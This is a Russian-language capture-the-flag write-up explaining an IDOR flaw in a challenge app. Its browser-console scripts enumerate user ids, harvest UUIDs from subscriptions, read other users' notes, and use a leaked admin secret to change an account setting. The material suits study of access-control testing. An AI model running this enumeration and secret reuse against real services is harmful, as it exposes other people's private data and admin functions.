Плюсвайбер
Автор: mayb3_s0m3t1m3
Суть: IDOR (Insecure Direct Object Reference) через утечку UUID из подписок. Отсутствие авторизации на уровне сервера: API не проверяет, принадлежит ли запрашиваемый UUID текущему пользователю.
Откроем DevTools → Sources → JS → app.js
Вapp.js можно увидеть следующее:
const notes = await api('GET', `/users/${currentUser.uuid}/notes`);currentUser = await api('GET', '/me');То есть, используется uuid пользователя, а не id, а это значит, что API ожидает
/users/<uuid>/notes
В условии сказано: "создатель записал у себя в заметках". Но как нам получить чужие заметки?
Обратимся к коду.Фронт сам подставляет currentUser.uuid, но ничто не помешает вручную вызвать API с другим UUID
Откроем DevTools → Console. В консоли выполним:
fetch('/api/users/1/notes', {
headers: { Authorization: 'Bearer ' + localStorage.getItem('token') }
}).then(r => r.json()).then(console.log)Числовой /api/users закрыт, но в app.js есть важный момент: посты открываются по числовому id /users/${userId}/posts, а заметки — по uuid /users/${currentUser.uuid}/notes.
Пробуем получить uuid создателя через подписки. Для этого подпишемся на пользователей с маленькими id – среди них должен быть искомый.
(async () => {
const H = {
Authorization: 'Bearer ' + localStorage.getItem('token'),
'Content-Type': 'application/json'
};
for (let id = 1; id <= 50; id++) {
const r = await fetch('/api/subscribe', {
method: 'POST',
headers: H,
body: JSON.stringify({ user_id: id })
});
const txt = await r.text();
if (r.status !== 404) console.log(id, r.status, txt);
}
})();fetch('/api/subscriptions', {
headers: { Authorization: 'Bearer ' + localStorage.getItem('token') }
}).then(r => r.json()).then(console.log)Отлично, там 50 подписок и 50 user.uuid. Теперь надо перебрать заметки по всем user.uuid из подписок:
(async () => {
const H = { Authorization: 'Bearer ' + localStorage.getItem('token') };
const subs = await fetch('/api/subscriptions', { headers: H }).then(r => r.json());
for (const s of subs) {
const u = s.user;
const uuid = u.uuid;
if (!uuid) continue;
const r = await fetch(`/api/users/${uuid}/notes`, { headers: H });
const text = await r.text();
if (r.status === 200 && text !== '[]') {
console.log('FOUND USER:', u);
console.log(text);
}
}
})();Из всех выведенных заметок нас интересует содержимое этой:
[{"uuid":"be496f04-a6d6-4146-98e0-ea1893b77496","title":"TODO бэкенд","content":"- починить rate limiter (иногда пропускает)\n- добавить логирование в middleware\n- разобраться с CORS для мобильного клиента\n- обновить зависимости (sqlalchemy 2.1?)","created_at":"2026-03-16T18:00:00"},{"uuid":"b87f348c-0c6f-4948-a09f-24b3b6ae43ff","title":"Серверные дела","content":"IP сервера: 10.0.0.42\nSSH: ssh admin@plusviber.internal\nPostgres: порт 5432, юзер plusviber\nБэкапы: каждый день в 3:00 UTC\n\nCaddy конфиг: /etc/caddy/Caddyfile","created_at":"2026-03-15T23:30:00"},{"uuid":"4230e9ed-3b58-429e-901b-d21f8cd57d4f","title":"Настройки замедления","content":"Заметка для себя:\n\nКоллеги по офису часто просят отменить им замедление. Вот апишка, чтобы не забыть\n\n/api/admin/settings/account-slowdown?secret=a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6\n","created_at":"2026-03-15T19:15:00"}]
Нет сомнений, что мы нашли именно нужную заметку админа. API можно взять из неё:
fetch('/api/admin/settings/account-slowdown?secret=a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6', {
headers: { Authorization: 'Bearer ' + localStorage.getItem('token') }
})
.then(r => r.text())
.then(console.log){"user_id":2018,"is_slowed":true}Если API возвращает именно такой формат, значит, структура ожидается такая же:
fetch('/api/admin/settings/account-slowdown?secret=a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6', {
method: 'POST',
headers: {
Authorization: 'Bearer ' + localStorage.getItem('token'),
'Content-Type': 'application/json'
},
body: JSON.stringify({
user_id: 2018,
is_slowed: false
})
})
.then(r => r.text())
.then(console.log)